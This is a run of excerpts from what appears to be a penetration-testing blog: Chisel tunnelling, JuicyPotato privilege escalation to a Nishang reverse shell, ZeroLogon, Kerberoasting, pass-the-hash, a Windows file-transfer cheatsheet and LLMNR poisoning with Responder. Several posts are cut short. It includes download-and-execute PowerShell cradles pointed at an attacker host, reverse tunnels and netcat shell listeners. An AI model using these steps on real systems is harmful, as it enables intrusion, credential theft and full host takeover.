Chisel is an application that makes port forwarding simple when you’re going against a Windows host. This is especially useful in instances where there is a service running and only available on the loopback interface of a compromised Windows computer. Using Chisel in a setup like this will allow you to use any tools you have installed on Kali Linux, through the tunnel, against the loopback interface of the Windows machine.
You’ll need to download a version for Linux to use from Kali, and another version for Windows to use on the target system.
Next, you’ll want to unzip the files. gunzip -d *.gz
Then you’ll want to transfer the Windows version of the file to your target system using whatever method you’d like. For help with this, see my Windows File Transfer Cheatsheet.
Back on our Kali machine, we’ll make the application executable. Note: Your filename may be different than mine. chmod +x chisel
Now we’ll start up Chisel in server mode, since we want the Windows box to connect back to us. ./chisel server --reverse --port 9002
Then on the Windows machine, you’ll run a command similar to the one below. The following command will instruct Chisel to connect back to the Kali machine on port 9002. Once connected, we’ll forward any traffic sent to port localhost port 3306 to port 3306 on the Windows machine. The 2nd entry does the same thing, but for port 8888. .\chisel.exe client <kaliIP>:9002 R:3306:localhost:3306 R:8888:localhost:8888
Now we can confirm that we’re able to connect to port 3306 of the Windows machine, through the tunnel, from the Kali machine. nc localhost 3306
Before you start a Password Spraying or Brute Force attack, you always want to check what the password policy is first so you don’t start locking accounts out. This post intends to serve as a guide that lists a handful of ways to enumerate this.
crackmapexec smb <targetIP> --pass-pol
If that doesn’t work, you can attempt again with a null authentication attempt by using the following. This typically works when a domain has been upgraded from 2003:
When you’ve found yourself as a low-level user on a Windows machine, it’s always worthwhile to check what privileges your user account has. If you have the SeImpersonatePrivilege, there is a very simply attack vector that you can leverage to gain SYSTEM level access.
Table of Contents
Verifying Permissions and Downloading Exploit
Performing the Attack
Verifying Permissions and Downloading Exploit
Let’s start by checking what privileges our user has.
Based on the return output, we can confirm that we have the correct privileges to abuse this vulnerability.
Great! Lets go out and download our exploit. You can get the latest version by navigating to the following Github page, and clicking on Releases.
Once downloaded to our system. lets transfer it to our victim machine using your favorite method. Feel free to review the options at my Windows File Transfer Cheatsheet. Once its present on the target system, running the executable should return the following help documentation.
Perfect! We should be ready to perform the attack.
Performing the Attack
This attack will allow us to run executables as the SYSTEM level process. This means that in addition to the JuicyPotato.exe exploit, we’ll also need our own malicious file that we wish to execute. This could be many different things, but a common example would be a reverse shell payload. You can learn how to generate these by visiting my MSFVenom Reverse Shell Payload Cheatsheet (with & without Meterpreter).
However in this example, I’m going to use a PowerShell Nishang reverse shell. If you do not have this downloaded, you can get it from the following Github page: https://github.com/samratashok/nishang
With the contents of this repo stored in your /opt directory, let’s copy the Invoke-PowerShellTcp.ps1 script to our present working directory as rev.ps1.
Then, let’s make a slight modification to the script and add the following line to the bottom. Doing this will not only load the modules into the PowerShell session when called upon, but it will also execute them so that a reverse shell connection can establish.
With that script modified and ready, we can host it up on our webserver using the following command:
sudo python -m SimpleHTTPServer 80
Oh! And don’t forget to start your Netcat listener.
sudo nc -nvlp <attackerPort>
The only thing needed at this point is a batch script that we can pass to Juicy Potato. Since Juicy Potato will run the batch script as SYSTEM, any commands we place in it will execute as SYSTEM. Let’s have our batch script contain the following PowerShell command so that it will download our Nishang reverse shell and execute it.
Now we’ll transfer this batch file to our target and run our Juicy Potato command! To understand what we’re doing in this attack, I’d recommend reading http://ohpe.it/juicy-potato/. The following command should work in most cases without the need for modification (other than the path/executables).
If everything works, Juicy Potato should execute executable.bat as SYSTEM, which issues a PowerShell command that downloads rev.ps1 from our attack machine. Rev.ps1 will then load Nishang into memory, and establish a reverse shell connection to our Netcat listener. Running whoami in that connection should return SYSTEM.
Covenant C2 is described by its authors as “A . NET command and control framework that aims to highlight the attack surface of . NET, make the use of offensive . NET tradecraft easier, and serve as a collaborative command and control platform for red teamers.”
This post is meant to supplement a video that I uploaded to my YouTube channel.
To begin, we have some prerequisites to install. They both can be found at the following links. Both installers work well with default settings and just basic “Next, Next, Finish”.
Secura has a great blog post on this topic already, but I wanted to share my experience with actually playing with their proof-of-concept exploit code. You can read about this exploit on their blog at https://www.secura.com/blog/zero-logon.
The exploit abuses the Netlogon Remote Protocol in Windows, which among other things, can be used to update computer passwords.
This vulnerability, and patch, isn’t exactly new. Microsoft released a patch for it last month, but there are now some public POCs in the wild that anybody can get their hands on, making this much more dangerous to leave un-patched.
First, we’re going to need a few things from GitHub. I like to download the tools in my /opt directory. You can run the following command to download the prerequisites.
The proof-of-concept exploit code also includes a script for restoring the old credential post-exploitation. To do this, you can grab the hex encoded machine password from the secretsdump.py output and then use the following command.
While the above mentioned article includes a table with a list of patches, I’d highly recommend checking the Windows Update Catalog for patches that might have superseded the articles mentioned in this table. For example, the September roll-ups contain this patch and are not listed in the table.
Running this exploit against a machine that has received the patch will return the following result.
Some user accounts may be configured with ‘Do not require Kerberos preauthentication‘ set. For accounts that are configured in this way, we may not need valid user credentials to extract TGTs for cracking. The following tool from Impacket can help with this.
Once you have low-level credentials to a Windows domain, you may be able to leverage those credentials to perform a Kerberoast attack against a higher-level user account. The easiest way to identify if a user account is vulnerable to a Kerberoast attack is via BloodHound.
Once you have identified a Kerberoastable user, you can leverage Impacket to perform the attack w/ the following command. This command will require valid domain credentials for at least a low-level user, but it should return the password hash of any Kerberoastable user on the domain.
If you’re able to come across credentials or NTLM hashes for a Windows box that has SMB enabled, you may be able to leverage the tool called winexe to gain a shell. If you have captured a NTLM hash, say from dumping a SAM database, you may be able to pass-the-hash.
Wanted to provide a single place to go for all file upload/download techniques when attacking a Windows machine from Kali Linux. This will be updated as I come across new ones and/or the next time I need to use them.
Uploading and Hosting Files
Python Web Server
The following will start a webserver in the present working directory using Python2. python -m SimpleHTTP Server 80
The following will start a webserver in the present working directory using Python3. python3 -m http.server 80
We’ll need to perform a few steps to set this up, but it’s a great way to transfer files to/from a system. To begin, let’s create a directory called smb on our attacking system. Files in this directory will be available on the other end, and likewise, the other end will be able to place files into this directory. mkdir smb impacket-smbserver <sharename> `<path>`
Then we can mount this file share in PowerShell from the other side. New-PSDrive -Name "<ShareName>" -PSProvider "FileSystem" -Root "\\<attackerIP>\<ShareName>
And change into the new drive. cd <ShareName>:
Additional Method With Authentication:
On our Kali machine, we’ll start our Impacket server while in the directory we wish to host. sudo impacket-smbserver <shareName> $(pwd) -smb2support -user <user> -p <password>
Then on the Windows machine, we’ll connect back to this SMB share, but we’ll need to specify the credentials mentioned in the above command. To do that, we’ll use the following commands:
The following will download and store a remote file to disk. Invoke-WebRequest -Uri "http://attackerIP/file.exe" -OutFile "C:\path\to\file.exe"
The following will download and automatically execute the remote PowerShell script when ran from a command prompt. powershell.exe "IEX (New-Object Net.WebClient).DownloadString('http://attackerIP/file.ps1')“
An alternative to the above is to use Invoke-WebRequest in a different manner. powershell.exe "IEX (IWR http://attackerIP/file.ps1 -UseBasicParsing)"
The following will download and store a remote file to disk. MpCmdRun.exe -DownloadFile -url [url] -path [path_to_save_file]
Transferring with SSH
To copy a file from B to A while logged into B: scp /path/to/file username@a:/path/to/destination
To copy a file from B to A while logged into A: scp username@b:/path/to/file /path/to/destination
Transferring via Base64 Encoding
From within a PowerShell session, you may want to encode the file into Base64 format so you can just copy it down to your destination machine and decode it on the other side. This is handy for transferring small files.
Within PowerShell, you can encode a file by running:
Welcome to Part 1 of this series. As each part gets released, we’ll dive deeper and deeper into the joys of LLMNR poisoning and I’ll demonstrate just how easy it makes the life of an attacker when this default legacy protocol is still running in your environment.
By the end of this series, you will be able to pivot across an ENTIRE poorly configured domain with SYSTEM-level access.
Part 1 Table of Contents:
What is LLMNR & NBT-NS?
Brief Explanation of the Exploit
Downloading and Installing Responder
Capturing NTLMv2 Hashes w/ Responder
What is LLMNR & NBT-NS?
Crowe.com does a fantastic job at giving you a high-level overview of what NetBIOS & link-local multicast name resolution do. Instead of reinventing the wheel, I will simply provide an excerpt from their website below.
“NetBIOS and LLMNR are protocols used to resolve host names and facilitate communication between hosts on local networks. NetBIOS is generally outdated and can be used to communicate with legacy systems. LLMNR is designed for consumer-grade networks in which a domain name system (DNS) server might not exist.”
If none of this sounds familiar, I highly recommend checking out the below link and reading more about these protocols before moving on.
When a computer requests access to a legitimate network resource, it usually follows a set of pre-defined queries. LLMNR and NetBIOS come into play as last resort options when other methods (such as DNS or local hosts files) don’t prove helpful. Since LLMNR & NetBIOS will attempt name resolution via broadcasted requests to the broadcast-domain, we can set up tools to listen for these requests and respond back pretending to be the intended recipient.
Poisoning Requests With Responder to Capture NTLMv2 Hashes
Now that we have our tools set up. Let’s take a deeper look at Responder. cd /opt/Responder ls
We see a handful of files, including Responder.conf (the configuration file) and Responder.py(the script used to perform the exploit). Let’s take a closer look at Responder.conf. gedit Responder.conf
So there’s a lot going on in here, but I just wanted to make you aware of the section titled Servers to Start. This is where we can configure which servers we’d like Responder to spin up to perform the exploit. We won’t actually make any changes in here just yet, just know that this conf file is very important and will be brought up in the future.
With all servers active, let’s go ahead and Run Responder on our primary interface (note yours may differ depending on your environment). sudo python Responder.py -I eth0
So what’s happening here? Responder is listening for all incoming requests in the three listed Poisoners (LLMNR, NBT-NS, DNS/MDNS). If any devices on the network need a hand resolving a hostname, fileshare, etc. they will send a broadcast out to the entire network. With this tool running, we will be able to ‘Respond’, pretending to be that destination server. From there, the device will reply back with its NTLMv2 Hash as it attempts to authenticate to the resource.
You’ll get the most responses back on a busy network with many devices in use. I’ve also found that we will get a lot of results during the beginning of shifts or once users return from lunch breaks. If you have enough patience, you should receive a response pretty soon. If you don’t have patience, then let’s see if we can force a LLMNR request..
From a Windows machine on the network, launch a File Explorer window, and attempt to Browse to a fileshare that doesn’t exist. \\infinitelogins
Within just a few moments, Responder is able to capture my NTLMv2 Hash.
That’s it for this post! Next up, I’ll be showing you what you can do with these hashes to pivot onto other machines or even score a reverse shell. In the mean-time, let me know what you thought of this and whether or not it has been helpful!